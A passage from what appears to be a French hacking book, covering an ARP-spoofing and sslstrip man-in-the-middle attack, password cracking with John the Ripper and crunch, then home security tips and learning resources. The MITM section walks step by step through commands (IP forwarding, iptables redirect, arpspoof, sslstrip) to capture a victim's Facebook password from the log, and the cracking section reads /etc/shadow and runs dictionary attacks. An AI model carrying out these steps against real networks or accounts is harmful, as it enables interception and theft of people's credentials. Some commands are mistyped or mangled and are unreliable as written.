Avec le spoofing ARP, l’objectif est de faire croire à l’hôte cible que l’adresse MAC du hacker est liée à l’adresse IP de la passerelle par défaut. Ainsi, la cible enverra d’abord les données au hacker. À son tour, le hacker enverra les données de la cible à la passerelle par défaut puis à Internet.

Tandis que les bases de la compréhension d'une attaque MITM sont plutôt basiques et directes, le spoofing ARP ne représente que la moitié du combat. Une fois que vous avez incité un client à vous envoyer ses données, comment allez-vous lire le contenu des données cryptées ?

Cela nous amène à l'idée d'outils appelés renifleurs de paquets. Un renifleur de paquets (ou sniffer) pourra vous montrer toutes les données qui circulent sur la carte d’interface réseau de votre ordinateur. Les détails des informations contenues dans les données du renifleur de paquets sont plutôt complexes, mais vous pouvez trier toutes les données à l'aide de filtres. 

Wireshark est l’un des sniffers de paquets le plus simple à utiliser, mais Linux contient également d’excellents programmes de sniffing de paquets qui s’intègrent au terminal. Vous avez même la possibilité de stocker et de sauvegarder toutes les données que vous avez collectées auprès d'une cible et de les parcourir à votre guise.

Comme il s’agit d’un sujet avancé, vous ne comprendrez probablement pas tous les divers protocoles que vous verrez dans les données collectées à partir de votre renifleur de paquets. Toutefois, en tant que démonstration destinée aux débutants, vous pouvez trier les données en filtrant les résultats pour le port 80 (HTTP), ce qui vous indiquera les adresses IP des serveurs Web auxquels la cible se connecte.

En gros, cela vous montrera tous les sites Web visités par la victime, ainsi que d'autres informations telles que les noms d'utilisateur et les mots de passe.

Bien que certains soient envoyés en texte brut et que vous puissiez les lire à partir de votre renifleur de paquets, beaucoup seront cryptés. Votre renifleur de paquets peut enregistrer ces clés et vous pouvez ensuite utiliser d'autres utilitaires pour déchiffrer leurs mots de passe, mais c'est un peu plus difficile.

Donc, pour ces raisons, je vais vous montrer comment initier une attaque de type man-in-the-middle avec ssl strip et comment utiliser un renifleur de paquet pour avoir les informations du compte Facebook de la victime. 

En outre, comprenez que le reniflement de paquets sur une interface sans fil est un peu différent du renifler sur une interface Ethernet. Pour cette raison, cette démonstration vous montrera comment effectuer l'attaque sur une interface filaire (Ethernet).




Attaque MITM AVEC SSL STRIP

L’utilisateur d’un réseau est principalement protégé par deux boucliers, le premier étant le chiffrement du protocole WPA que nous avons pu casser dans un chapitre précédent.

Cependant, il nous reste une deuxième barrière de défense : le chiffrement SSL.

Tout d’abord, il va falloir répondre à quelques questions fondamentales à la compréhension de l’attaque que l’on verra par la suite.

Qu’est-ce-que SSL ?

SSL (Secure socket layer) récemment appelé “TLS” est un protocole qui permet la sécurisation des données échangées entre le navigateur et le serveur en satisfaisant les objectifs de sécurité : 


›  Authentification

›  Confidentialité

›  Intégrité





Comment fonctionne le certificat SSL ?

Il agit en veillant à ce que les données transférées entre les utilisateurs et les sites restent difficiles à lire. SSL utilise l'algorithme de chiffrement pour brouiller les données en transit, empêchant les pirates de les lire lorsqu'elles sont envoyées via la connexion.

Un certificat SSL est installé sur le côté serveur, mais il y a des indices visuels sur le navigateur qui peuvent dire aux utilisateurs qu'ils sont protégés par SSL. Tout d'abord, si SSL est présent sur le site, les utilisateurs verront “https://” au début de l'adresse web au lieu du “http://” comme le montre la figure suivante :

[image: site-http-https-exemple-login-chrome.v636573289323980081]

Lors de l’échange des informations, le certificat SSL déclenche le protocole SSL qui va chiffrer les informations en agissant directement comme une couverture pour le protocole TCP. Il permet aux couches supérieures du protocole de rester inchangées tout en offrant une connexion sécurisée.

Ce chiffrement des informations fait qu’un hacker qui s’est mis au milieu de la connexion ne pourra intercepter aucune information.

Maintenant que vous avez compris le principe du protocole SSL, à nous de voir comment passer cette mesure de sécurité afin de pouvoir intercepter les paquets envoyés par l’utilisateur.

Sslstrip est un outil qui permet de détourner le trafic sécurisé HTTPS en le redirigeant vers du HTTP tout en jouant le rôle d’un proxy entre le navigateur et le serveur.

Pour expliquer en détails cette attaque, voici une illustration qui schématise cette dernière :

[image: 74c4193e-b33e-41e2-921a-6f2916e9075b]

Tout d’abord, la victime va ouvrir son navigateur et essayer de se connecter à un site web via HTTPS

Arpsoof est un utilitaire que le hacker va utiliser afin que le routeur redirige vers lui tout le trafic provenant de la victime.


›  Le hacker va convertir la requête en HTTP avec Sslstrip.

›  Puis il renvoie la nouvelle requête HTTP vers le routeur.

›  Le routeur prend la requête et l’envoie au serveur.

›  Enfin, le serveur reçoit la requête et répond en établissant une connexion HTTP.


Voilà, nous avons accompli notre objectif en obligeant la victime à se connecter via HTTP. De cette façon, nous pourrons lire les informations échangées.

Voyons tout de suite comment nous pouvons appliquer cette attaque avec Kali.

Nous devons tout d’abord déterminer l'interface que nous utiliserons pour nous connecter au réseau. Pour se faire, nous pouvons utiliser la commande ifconfig sur notre machine Kali.

[image: ifconfig_sslstrip]

Une fois que nous avons déterminé l'interface que nous utilisons, nous devons exécuter le processus de transfert IP pour lequel nous tapons la commande suivante :

[image: image]echo 1 > /proc/sys/net/ipv4/ip_forward

[image: image]

[image: sslstrip_echo]

Configurons note pare-feu pour qu’il puisse rediriger le trafic :

[image: image]iptables -t nat -A PREROUTING -p TCP—destination-port 80 -j REDIRECT—to-port 8080

[image: image]

[image: sslstrip_iptables]

Comme nous avons configuré le trafic pour qu'il soit routé via notre machine, nous devons maintenant trouver l'adresse IP du routeur. Exécutez donc la commande suivante :

[image: image]route -n

[image: image]

[image: sslstrip_gateway]

Pour vous démontrer cette attaque, je vais utiliser une machine sous Windows comme victime avec l’adresse IP suivante :

[image: image]10.20.32.191

[image: image]

[image: sslstrip_vicitme]

Une fois que nous avons déterminé l’adresse IP du routeur et de la machine cible, nous pouvons mener à bien le processus de arpsoofing ; où le trafic provenant du serveur et destiné au système de la victime, nous sera redirigé et nous le transmettrons à son tour au système de la victime.

[image: image]arpsoofing -i wlp5s0 -t 10.20.32.191 10.20.30.1

[image: image]

[image: sslstrio_arpsoof]

Dès que nous exécutons cette commande, le trafic sera redirigé vers la machine du hacker. Simultanément, nous devons ouvrir un nouveau terminal, où nous devons taper cette commande :

[image: image]sslstrip -l 8080

[image: image]

[image: sslstrip_8080]

Cela convertira les sites Web HTTPS en HTTP et nous initions un écouteur sur le port 8080.

Nous sommes donc prêts à partir. À chaque fois que la victime ouvre son navigateur et surfe sur Internet, le trafic nous est redirigé.

Sur la machine cible, j’ouvre le navigateur et je me connecte à Facebook :

[image: sslstrip_detection]

Instantanément, le navigateur détecte qu’il y a une redirection de trafic. Mais ce qui est intéressant, c’est que cet avertissement n’apporte pas assez d’informations sur ce qui se passe derrière les coulisses, il y a simplement une redirection vers Facebook !

L’utilisateur n’a que deux choix : soit il continue vers le site ou bien il revient à la page précédente.

Sachant qu’il y a de fortes chances que l’utilisateur cliquera sur le lien de redirection, le site web s’affichera le plus normalement possible : 

[image: sslstrip_facebook]


Jusque-là, c’est assez bien joué.

Prêtez attention au protocole utilisé dans le transfert de données, c’est du HTTP et non pas du HTTPS.

La victime va entrer ses informations en cliquant sur Login et elle se connectera normalement. Cependant, l’attaquant peut lui aussi se loguer avec ses informations personnelles.

[image: sslstrip_login]

	[image: image]
	 	[image: image]


[image: image]

DONE ! 

[image: image]


Arrêtez arpsoof et Sslstrip en appuyant sur Ctrl+c.

Les informations capturées seront stockées dans un fichier sslstrip.log que vous trouverez au même endroit où vous avez lancé sslstrip. Pour cela, exécutez la commande suivante :

[image: image]cat sslstrip.log | grep “pass”

[image: image]

[image: sslstrip_hacked]

Note : le “%40” est l’encodage URL de “@”.




––––––––
[image: image]


[image: image]


chapitre 14

[image: image]

Passwords Cracking

Bien que vous ne le pensiez pas au début, votre courrier électronique est en fait l’un des comptes les plus dangereux à perdre. 

En effet, il y a tellement d'informations personnelles stockées dans votre boîte de réceptionqu’elle constitue une cible précieuse pour les pirates. Une fois qu'un attaquant a accès à votre compte de messagerie, vous vous retrouverez dans un monde de blessures car, il sera capable de voir et d'intercepter tous les messages qui arrivent dans votre boîte. Pire encore, il a maintenant un moyen de vous imiter. 

S'il le voulait, un attaquant pourrait inciter d'autres personnes de votre carnet d'adresses à donner des informations supplémentaires en utilisant votre identité pour demander ces informations.

En outre, il y aura une tonne de données sensibles liées à votre compte de messagerie. De nos jours, les sites Web deviennent de plus en plus complexes. Cependant, il existe de nombreuses façons de lier les identifiants de connexion et l'activité Web d'un utilisateur à son adresse électronique. 

Par exemple, il y aura probablement des courriels et des promotions de sites avec lesquels vous avez déjà fait affaire avec votre courrier ou votre dossier spam. Cela donne un indice à l’attaquant quant aux endroits où il peut rechercher des informations supplémentaires.

Il peut également être en mesure de voir quels achats vous avez effectué avec des sites en ligne tels que Ebay ou Amazon.


Bien que tous ces scénarios soient terribles, le pire avantage qu'un attaquant gagne est la possibilité de pirater vos mots de passe. Un attaquant peut employer plusieurs techniques, mais elles existent toutes pour voler vos informations d’identité afin d’augmenter leurs privilèges. 

Par exemple, qui sait ce qu'un attaquant pourrait acheter s'il avait accès à votre compte Amazon et aux données de votre carte de paiement ?

Maintenant que vous comprenez le sens des mots de passe sécurisés et les conséquences de ce qu’un attaquant peut faire une fois qu’il a obtenu votre mot de passe, examinons les bases. Je suis sûr que cracker des mots de passe semble cool et très compliqué, mais certaines des méthodes utilisées sont incroyablement simples.

Il existe de nombreuses manières pour un attaquant de déchiffrer des mots de passe afin d'accéder d'abord au compte de messagerie. 

Par exemple, si un utilisateur n’est pas très enclin au point de vue technique, il est fort à parier qu’il ne comprend rien à la complexité du mot de passe. Bien qu'ils se croient malins, les utilisateurs commettent une grave erreur en choisissant leur mot de passe à base de leur anniversaire, le nom de leur chien ou d'autres informations faciles à deviner.

D'autres fois, ces utilisateurs simples d'esprit vont écrire leurs mots de passe près de leur ordinateur ou coller un adhésif sur leur écran. Il est même possible d'inciter ces personnes à donner leurs mots de passe de messagerie avec l'ingénierie sociale.

Toutes ces méthodes sont plus faciles à utiliser que vous ne le pensiez et permettent aux attaquants d’avoir des mots de passe sans trop se casser la tête !




Outils de crackage de mot de passe

Il existe de nombreux utilitaires de crackage de mots de passe dont vous pouvez tirer parti. Cependant, nous allons jeter un bref aperçu des logiciels les plus populaires. 

Les hackers utiliseront plusieurs de ces outils conjointement pour faciliter leurs attaques. Ils ne commencent tout simplement pas avec une attaque par force brute car les mots de passe peuvent souvent être trouvés en utilisant des méthodes plus rapides. Cela dit, une attaque par force brute est généralement en dernier recours lorsque d'autres méthodes ont déjà échoué.




1)  John the ripper.

John the Ripper est probablement l'un des utilitaires de cracking de mots de passe les plus célèbres parmi les hackers.

Il est très efficace mais il souffre d’un petit défaut (si on peut le dire) qui le tient souvent à l’abri des regards des débutants : il a été développé pour Linux. Bien qu'il existe des versions portables, gardez à l'esprit qu'il s'agit en fait d'une application Linux. 

Certains de ces outils étant exclusivement conçus pour Linux, vous devriez certainement vous familiariser avec le système d'exploitation Linux pour devenir un hacker compétent. 

À présent, vous devriez déjà avoir configuré un environnement Linux pour exécuter certaines des démonstrations de ce livre sous Virtualbox. Si ce n’est déjà fait, il est grand temps de créer votre premier environnement Linux.

Comme avec la plupart des logiciels Linux puissants, ce programme est exécuté à partir de la ligne de commande et peut être un peu effrayant, si vous n’êtes pas déjà habitué à travailler à partir de la ligne de commande. Mais cela n’est qu’une partie de la courbe d’apprentissage ; Une fois familiariser avec cet environnement, vous pourrez exécuter toutes sortes de logiciels beaucoup plus puissants que les logiciels de base à interface graphique que vous pourriez trouver dans un environnement tel que Windows. 

Toutefois, il existe une version de ce logiciel sur les systèmes Mac car ceux-ci proviennent d’une ancienne et puissante distribution UNIX appelée BSD.

Une caractéristique très pratique de ce logiciel est la méthode avec laquelle il utilise pour déchiffrer les mots de passe en automatisant le processus. Tout d’abord, il commencera par une attaque basée sur un dictionnaire. Si cela échoue, il utilisera une approche hybride pour déchiffrer les mots de passe. Si même l’approche hybride échoue, il aura recours à une attaque par force brute.

[image: jtr_fonction]

Pour l’exemple, nous allons effectuer une attaque par dictionnaire. Pour cela, nous avons d’abord besoin d’un dictionnaire avec lequel on va brute-forcer. Le plus facile à acquérir est rockyou.txt qui est un ensemble de mots de passe compromis des médias sociaux.

Sur Kali, décompressez le fichier rockyou.txt.gz  à l’aide de la commande suivante:

[image: image]sudo gunzip /usr/share/wordlists/rockyou.txt.gz

[image: image]

[image: rockyou_unzip]

Maintenant, vous avez besoin de quelque chose à cracker. Qu'en est-il des hachs de mots de passe Linux ? Pour cela, nous avons besoin de deux fichiers : /etc/passwd et /etc/shadow.

Selon Wikipedia, le fichier /etc/passwd est une base de données textuelle contenant des informations sur les utilisateurs pouvant se connecter au système ou à d'autres identités d'utilisateur du système d'exploitation.

Le fichier /etc/shadow est utilisé pour augmenter le niveau de sécurité des mots de passe en limitant l'accès de tous les utilisateurs sauf les plus privilégiés aux données de mots de passe hachées. En règle générale, ces données sont conservées dans des fichiers appartenant au super-utilisateur (root) et accessibles uniquement à ce dernier.

JtR exige que tous les fichiers soient dans un format spécifique. Pour convertir les fichiers passwd et shadow, nous devons tirer parti de l’exécutable /usr/sbin/unshadow. Cela nécessitera des privilèges de super utilisateur.

[image: image]unshadow /etc/passwd /etc/shadow > password.txt

[image: image]

[image: unshadow]

Et la commande pour déchiffrer vos mots de passe Linux est assez simple. Procèdez comme suit:

[image: image]john—wordlist=/usr/share/wordlists/rockyou.txt password.txt

[image: image]

[image: john_cracking]

JtR est un excellent moyen de montrer si vous (ou vos utilisateurs) avez des mots de passe faibles/prévisibles !

Alors, que peut encore faire John the ripper ? Eh bien, beaucoup d’autre chose ! Comme indiqué dans la recherche de fichier ci-dessous, il existe de nombreux outils de conversion permettant de convertir différents types de fichiers en fichiers d'attaques compatibles JtR, en indiquant les possibilités d'attaque JtR 

[image: image]locate *2john

[image: image][image: john_converter]

Comme vous pouvez le voir, avec JtR vous pouvez cracker nombreux types de fichiers. Donc à vous de jouer. :)




Ophcrack

Ophcrack est l’un des meilleurs outils de cracking de mots de passe dont nous allons parler et, comme beaucoup d’entre eux, son téléchargement et son utilisation est gratuite. 

Il peut être utilisé pour déchiffrer des mots de passe sur divers systèmes d’exploitation. Cependant, cet outil a gagné la faveur des débutants qui tentent de déchiffrer les mots de passe Windows. 

Cependant, il peut toujours être utilisé pour faciliter les attaques sur les mots de passe Linux et Mac. Bien qu’il ait des algorithmes plus simples et plus efficaces, ce logiciel permettra à l’utilisateur d’effectuer une attaque par force brute. Enfin, il possède même une fonctionnalité qui vous permettra de créer une image de démarrage en direct.

[image: ophcrack]




L0phtcrack

L0phtcrack est vraiment une suite de logiciels qui vous permet d’exécuter différentes fonctions de mot de passe. Par exemple, il peut être utilisé pour vérifier la force et la complexité des mots de passe afin de renforcer vos efforts en matière de sécurité. 

Compte tenu de la gamme de fonctions offertes par ce logiciel, il est fréquemment utilisé par des entreprises de sécurité informatique ainsi que par des organisations gouvernementales telles que des applications militaires. 

Il peut non seulement fonctionner sur des versions de Windows supérieures à Windows XP, mais également sur certaines distributions Linux et BSD. 

Comme d’autres utilitaires de cracking de mots de passe, il permettra à un attaquant ou à un expert en sécurité de lancer à la fois des attaques par dictionnaire et des attaques par force brute.

[image: lophtcrack]

Vous pouvez télécharger l0phtcrack depuis le site officiel l0phtcrack.com.




Caïn et Abel

Cain & Abel est un autre utilitaire de cracking de mot de passe populaire. Ses fonctionnalités dépassent la capacité de déchiffrer les mots de passe de base ou les mots de passe du système d'exploitation. Certaines fonctionnalités facilitent également le processus de détection des clés Wi-Fi.

Cependant, il ne peut être utilisé que dans un environnement Windows permettant aux utilisateurs de déchiffrer des mots de passe cryptés et encodés dans divers formats et protocoles tels que MySQL, Oracle, MD5, SHA1, SHA2 et divers algorithmes de cryptage sans fil.

Comme avec les autres outils, ce logiciel exécutera diverses méthodes de crackage des mots de passe, comme les attaques par dictionnaire et les attaques par force brute. 

Une caractéristique très utile de ce logiciel est que vous pouvez définir des paramètres afin d’affiner l’attaque par force brute, telle que la longueur du mot de passe que vous essayez de déchiffrer (JtR peut aussi le faire ). 

Cela a la capacité d'éliminer des millions de combinaisons de mots de passe potentiels qui autrement multiplieraient considérablement le temps nécessaire pour mener à bien l'attaque.

	[image: image]
	 	[image: image]


[image: image]

Créér une liste de mots personnaliséé avec crunch

[image: image]


Parfois, nous pouvons avoir des indications sur le choix du mot de passe ou des composants de mot de passe de la cible, qui peuvent provenir de notre connaissance de la cible.

Cela peut être leur nom, le nom d’un enfant, le nom d’un animal de compagnie, son anniversaire ou son emploi. Nous pouvons également connaître la stratégie de mot de passe de l'organisation (par exemple, minimum 8 caractères, majuscules et minuscules, etc.).

Dans ces cas, nous pouvons être en mesure de générer une liste de mots personnalisée qui reflète notre connaissance de la cible ou la stratégie de mot de passe de l'organisation.

Kali Linux a intégré un outil appelé "crunch" qui nous permet de créer une liste de mots personnalisée pour cracker les mots de passe à l’aide d’outils tels que Hashcat, Cain et Abel, John the Ripper, Aircrack-ng, etc.

Cette liste de mots personnalisée pourrait nous permettre de gagner des heures ou des jours si nous pouvons créer correctement notre dictionnaire.

Commençons avec crunch et créons des listes de mots personnalisées pour déchiffrer les mots de passe dans notre outil de crackage de mots de passe préféré. 

Commençons par lancer Kali et ouvrir crunch en allant dans Applications ->password attacks -> crunch

[image: start_crunch]

Cela ouvrira l'écran de crunch comme suit :

[image: crunch_started]

Contrairement à beaucoup d'autres outils de hacking, Crunch ne nous fournit pas beaucoup d'informations dans son écran d'ouverture. 


La syntaxe de Crunch

La syntaxe de base pour crunch ressemble à ceci :

[image: image]crunch <min><max><characterset> -t <pattern> -o <nom du fichier de sortie>

[image: image]

Maintenant, passons en revue ce qui est inclus dans la syntaxe ci-dessus.


›  min : la longueur minimale du mot de passe.

›  max : la longueur maximale du mot de passe.

›  characterset : le type de caractères à utiliser pour générer les mots de passe.

›  -t <pattern>: le modèle spécifié des mots de passe générés.

›  -o <outputfile>: ceci est le fichier dans lequel vous voulez enregistrer votre liste de mots.


Essayons de générer une liste de mots simples.

Supposons que nous savons que la société a des mots de passe entre 4 et 8 caractères. Nous pouvons générer toutes les possibilités dans crunch en tapant :

[image: image]crunch 4 8 -o /root/Desktop/passwords.lst

[image: image]

Dont le premier nombre (4) est le mot le plus court et le second (8) le mot le plus long, et password.lst est le nom de notre nouveau dictionnaire.

[image: crunch_pass]

Lorsque nous exécutons cette instruction, Crunch estime la taille du fichier (1812 Go), puis commence à générer la liste.




EN RÉSUMÉ 

Ces outils ne sont pas incroyablement difficiles à utiliser, mais la plupart des utilisateurs n’ont aucune idée de leur existence. 

Vraiment, tout le travail difficile a déjà été fait par les programmeurs experts qui ont créé ces logiciels. 

Ces outils sont si faciles à utiliser que des script kiddies peu expérimentés peuvent trouver le moyen de les utiliser pour pénétrer les systèmes d’autres personnes. Bien que je ne recommande pas d’utiliser ces outils à mauvais escient, ils sont certainement amusants à utiliser dans un environnement de test.

Remarque : ça serait intéressant si vous pouviez coder votre propre générateur de mot de passe (c’est facile croyez-moi, Python est à votre disposition. ;)
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ATTACKER ONLY NEEDS TO

FIND THAT ONE OPENING»

Jennifer Havermann


chapitre 15
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Ne baissez pas votre garde !

À ce stade du livre, vous vous êtes probablement déjà demandé au moins une fois : « Que puis-je faire pour me protéger des pirates ? » chance d'être piraté par un hacker Black Hat sur Internet. 

Ce chapitre traite des différentes stratégies que vous pouvez utiliser pour sécuriser davantage vos systèmes et votre réseau domestique ainsi que d’apprendre à ne jamais baisser votre garde (quel est l’intérêt d’apprendre le hacking si on est facilement hackable ?). 

Pour ceux qui sont déjà au courant des bonnes habitudes en terme sécurité, quelques-unes d'entre elles pourraient sembler être une évidence. Cependant, vous seriez surpris de voir combien de personnes ne parviennent pas à mettre en œuvre les mesures les plus simples en matière de cyber sécurité.




1)  Mettez à jour vos logiciels

Les mises à jour logiciels sont essentielles pour vous protéger contre les blacks hats mais, trop de personnes les ignorent. La plupart des systèmes d'exploitation ont un paramètre de mise à jour automatique qui télécharge et installe automatiquement les patchs sur le système d'exploitation. 

Le problème est que la plupart des gens sont apathiques ou tout simplement paresseux et qu’ils ne veulent pas prendre le temps d’installer les mises à jour. Et pourquoi pas ? Pour être honnête, cela est dérangeant. Vous êtes peut-être au beau milieu d'un projet volumineux ou de votre journée de travail. Pour installer des mises à jour, vous devez redémarrer votre ordinateur et attendre pendant un temps indéterminé que le système d'exploitation installe les correctifs. 

Mais j’ai une nouvelle pour vous : vous devez prendre le plus grand soin d’installer les mises à jour dès que possible. Même après que certains des virus mentionnés dans ce livre aient été découverts et corrigés ; il restait encore des millions d’ordinateurs qui contenaient encore des vulnérabilités, parce que les utilisateurs n’avaient pas mis à jour leur logiciel. 

S’ils avaient installé les mises à jour au fur et à mesure de leur publication, les virus auraient été stoppés.




2)  Changez les noms d'utilisateur et mots de passe par défaut

Beaucoup de personnes n'hésitent pas à changer les noms d'utilisateurs et les mots de passe par défaut de leur équipement réseau. 

Alors que la plupart des gens essaient de créer des noms d'utilisateurs et des mots de passe uniques pour leurs ordinateurs personnels ; ils oublient souvent de sécuriser les périphériques réseau, les routeurs sans fil et même leurs imprimantes. Les pirates disposent non seulement des moyens de procéder à des attaques par mot de passe, mais ils savent déjà comment trouver les noms d'utilisateur et les mots de passe par défaut de votre routeur sans fil en quelques secondes.

En outre, certaines personnes ne parviennent pas à sécuriser leur réseau Wi-Fi. Au lieu d'utiliser un algorithme de sécurité qui empêche les attaquants de rejoindre leur sous-réseau, ils leur laissent une porte ouverte et les invitent à entrer. 

Certains routeurs sans fil, mais pas tous, n’incluent pas de mot de passe par défaut. Pire encore, lorsque les utilisateurs configurent initialement leurs routeurs sans fil, ils ne parviennent pas à ajouter un mot de passe à leur réseau Wi-Fi. Vous ne pouvez tout simplement pas laisser ces valeurs à leurs valeurs par défaut si vous souhaitez vous protéger des attaques en ligne. 

Enfin, la plupart des routeurs domestiques sans fil ont une option dans la configuration qui détermine qui peut gérer le périphérique à distance. Si vous configurez ce paramètre sur une adresse IP spécifique, les pirates ne pourront pas se connecter à votre routeur sans fil, même s'ils connaissent le nom d'utilisateur et le mot de passe !




3)  Utilisez des mots de passe forts

Non seulement, vous devez créer des noms d'utilisateurs et des mots de passe uniques pour vos appareils, (qui sont différents des valeurs par défaut), mais vous devez aussi renforcer vos mots de passe. Vous pouvez le faire en les faisant aussi long que possible et en incluant des chiffres, des lettres et des caractères spéciaux. Il est vrai que les pirates disposent de moyens pour effectuer des attaques par dictionnaire et par force brute en essayant de combiner toutes les combinaisons possibles pour trouver le mot de passe correct pour un système, mais sachez que ces techniques ne fonctionnent pas dans toutes les situations. 

Certains sites disposent d’une protection intégrée contre les attaques par force brute qui ne vous permettent pas de vous connecter pendant un certain temps après un nombre spécifié de tentatives de connexion infructueuse. 

La sécurité des mots de passe est un domaine d'étude considérable et la plupart des pirates savent quels types de données les utilisateurs incorporent dans leurs mots de passe pour s'en souvenir plus facilement. Par conséquent, ne faites pas de votre mot de passe l’adresse de votre rue, le nom de votre chat ou les anniversaires. Oh, et ne soyez pas un de ces stupides dont le mot de passe est écrit sur une feuille attachée à son écran. ;) 

Un pirate mettant en œuvre une ingénierie sociale n’aurait même pas à essayer. Vous leur facilitez la tâche en affichant vos mots de passe pour tout le monde à voir. 

De plus, assurez-vous de ne pas stocker vos mots de passe dans des fichiers texte ou dans d’autres types de fichiers non cryptés. Si un pirate vole vos données et qu’il met la main sur un fichier contenant des noms d’utilisateur et des mots de passe pour d’autres sites et services, vous vous retrouverez dans un cauchemar.




4)  Configurez correctement votre pare-feu

Les pare-feux font partie intégrante de toute solution de sécurité conçue pour protéger les utilisateurs contre les attaques. Vous devez donc vous assurez que votre pare-feu est configuré correctement. Dans le passé, certaines personnes ont eu du mal à ouvrir les bons ports pour que leur logiciel soit correctement configuré. Un domaine où cela se passe souvent est avec les jeux.

De nombreux jeux nécessitent des ports spécifiques qui ne sont pas bien connus et, dans un pic de folie et de frustration, les utilisateurs choisissent d’ouvrir tous les ports de leur pare-feu pour que leur jeu fonctionne correctement.

C'est une erreur colossale car cela permettra aux pirates de pénétrer dans votre réseau si aucun des ports n'est bloqué. Si vous ne parvenez pas à faire fonctionner un jeu sur votre réseau domestique, lancez une recherche rapide sur Google pour voir quel port doit être ouvert ! En outre, de nombreuses personnes ne parviennent pas à tirer parti des pare-feux logiciels. Alors que de nombreux pare-feux matériels bloquent la plupart des ports par défaut, ils protègent bien le réseau local, mais peu de personnes se protègent avec un pare-feu sur leur ordinateur hôte.

Si vous êtes un utilisateur Windows, vous avez déjà un pare-feu logiciel qui ajoutera une couche de protection supplémentaire entre vous et les Blacks Hats.

Même si parfois, il faut désactiver votre pare-feu logiciel pour permettre à un programme de fonctionner correctement, vous devez toujours vous rappeler le réactiver une fois votre travail terminé.




5)  Solutions logicielles antivirus et anti-malware

Si un pirate parvient à pirater votre système avec un virus ou un cheval de Troie, comment saurez-vous qu'il existe sans logiciel antivirus et anti-malware ? Utiliser un ordinateur sans logiciel de sécurité, c'est comme demander à un attaquant de voler vos informations personnelles.

Mais cela ne s’arrête pas là. Cela a déjà été dit à maintes reprises, mais comprenez que les torrents sont fréquemment utilisés comme systèmes de distribution de virus. 

Trop de personnes ont été victimes du virus d’un pirate parce qu’elles voulaient regarder du contenu vidéo sans le payer. Si vous téléchargez des torrents sans logiciel antivirus, vous ne faites que poser des problèmes. 

Si vous disposez d'un logiciel antivirus, vous pouvez analyser les fichiers que vous téléchargez avant de les ouvrir pour détecter tout code malveillant potentiel intégré dans votre téléchargement et éviter une crise informatique. 

D'ailleurs, vous devriez analyser chaque téléchargement avant de l'ouvrir. Vous ne savez jamais ce qui pourrait se cacher dans un dossier d'aspect innocent.


[image: image]


6)  Utilisation de VPN

Si vous ne connaissez pas les tunnels VPN, vous devez connaître l’immense valeur qu’ils apportent à la table. Un réseau privé virtuel (VPN) est essentiellement un service qui chiffre toutes les communications de données entre deux points d'extrémité ; ce qui empêche un pirate, une agence gouvernementale ou un petit cyber croc de déchiffrer vos données. 

Ce guide ne constitue pas du matériel promotionnel pour les fournisseurs de VPN, mais le fait est qu’ils peuvent vous empêcher de vous faire pirater. Non seulement cela, mais ils peuvent empêcher le gouvernement de voler vos données.

À la suite des informations divulguées par Edward Snowden, le gouvernement américain et le N.S.A. ont été trouvés en train de capturer des courriels, des photos, des appels téléphoniques, des messages instantanés et de nombreux autres types de transmission de données dans le but de prévenir les activités liées au terrorisme. 

Cependant, le N.S.A. a déclaré qu’ils n’avaient trouvé aucune information permettant d’arrêter un seul événement terroriste (^-^ !). En cryptant vos données, vous pourrez les protéger des pirates du monde entier lors de leur transit sur Internet.




7)  Sauvegardez vos données

Vous pensez peut-être que la sauvegarde de vos données n'est qu'une mesure pour vous protéger contre les pannes matérielles.

Bien que cela vous aide certainement beaucoup si votre ordinateur tombe en panne, sachez qu’utiliser un logiciel de sauvegarde vous protégera également des attaques.

Certaines des attaques les plus sophistiquées endommagent et corrompent des fichiers (l’exemple des ransomware), voire même incorpore du code malveillant dans des fichiers courants tels que des documents Word.

En conservant une copie de sauvegarde, vous pouvez être assuré que vous disposerez d'une copie propre et exempte de virus de vos données en cas d'attaque.

Rappelez-vous le virus Crypto Locker ? Si seuls les utilisateurs avaient sauvegardé leurs données, ils n’auraient pas eu à s’inquiéter de payer une rançon pour récupérer leurs données.




8)  Sécurisez votre navigateur Web

Vous devez également modifier dans votre navigateur Web quelques paramètres qui réduiront considérablement les chances de réussir une attaque. Comme nous l'avons vu précédemment, les pirates peuvent utiliser des scripts malveillants pour voler les données des cookies du navigateur Web afin de dérober les mots de passe des différents sites.

Assurez-vous de ne pas sauvegarder et mettre en cache toutes les informations de vos noms d’utilisateur et mots de passe dans votre navigateur Web lorsque vous visitez des sites web. 

C'est une énorme erreur car, vous laissez les fruits à portée de main des hackers black hat. Vous serez également beaucoup mieux si vous désactivez les cookies en premier lieu. Il est préférable de garder votre navigateur Web aussi léger et rationnel que possible. 

Plus vous enregistrez des données dans votre navigateur, plus vous aurez de chances que quelqu'un vole vos informations. 

Considérez également que vous devez fréquemment effacer votre historique. Cela fournit une véritable piste d'audit et un attaquant pourrait utiliser ces informations pour consulter tous les sites Web que vous avez visité.




CHAPITRE 16
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DÉVELOPPEZ VOS COMPÉTENCES

Avant de terminer, j’aimerais vous rappeler combien il est important de développer vos compétences constamment et de vous donner les meilleures plateformes que j’utilise moi-même pour me mettre à jour avec les nouveautés de l’industrie.

Le hacking est un environnement en constante évolution. Avoir des compétences pertinentes est un élément essentiel pour pouvoir relever les défis de la vie quotidienne d’un hacker.

Note : tous les sites que je vais citer sont en anglais, si vous ne maîtrisez pas encore, c’est le meilleur moment pour le faire afin de progresser dans cet art.

1.  Cybrary

Cybrary est un site qui propose une large gamme de cours allant des concepts de base aux tests d'intrusion avancés. Le site Web propose des dizaines de cours détaillés et gratuits. Tous sont enseignés par des professionnels en la matière. Cybrary propose même des cours de certification pouvant vous préparer avant de postuler à des certifications de sécurité dans un domaine donné.

Cybrary couvre un large éventail de sujets liés au hacking, notamment :


›  Hacking éthique.

›  Tests de pénétration.

›  Cryptographie.

›  Forensics.

›  Ingénierie sociale.

›  Post exploitation.

›  Analyse des logiciels malveillants et ingénierie inverse.

›  Des dizaines de cours de certification.


En plus de leur vaste gamme de classes, ils offrent également du matériel spécifique aux certifications, notamment, A+, Linux+, Network+, Security+ et peuvent également te préparer à MCSA, CCNA, CISA, CASP, CISSP et plusieurs autres certifications, bref, vous trouverez tous ce que vous avez besoin pour percer en hacking.

Cybrary est un excellent outil gratuit d’apprentissage et peut aider tout hacker débutant ou expert à améliorer ses compétences.

2.  Harvard / EDX

Contrairement aux idées reçues, il n’est pas nécessaire d’être accepté dans un collège prestigieux pour pouvoir s’inscrire à plusieurs de leurs cours. C’est là que EDX entre en jeu, en compilant un vaste catalogue de cours gratuits de niveau universitaire auxquels vous pouvez vous inscrire.

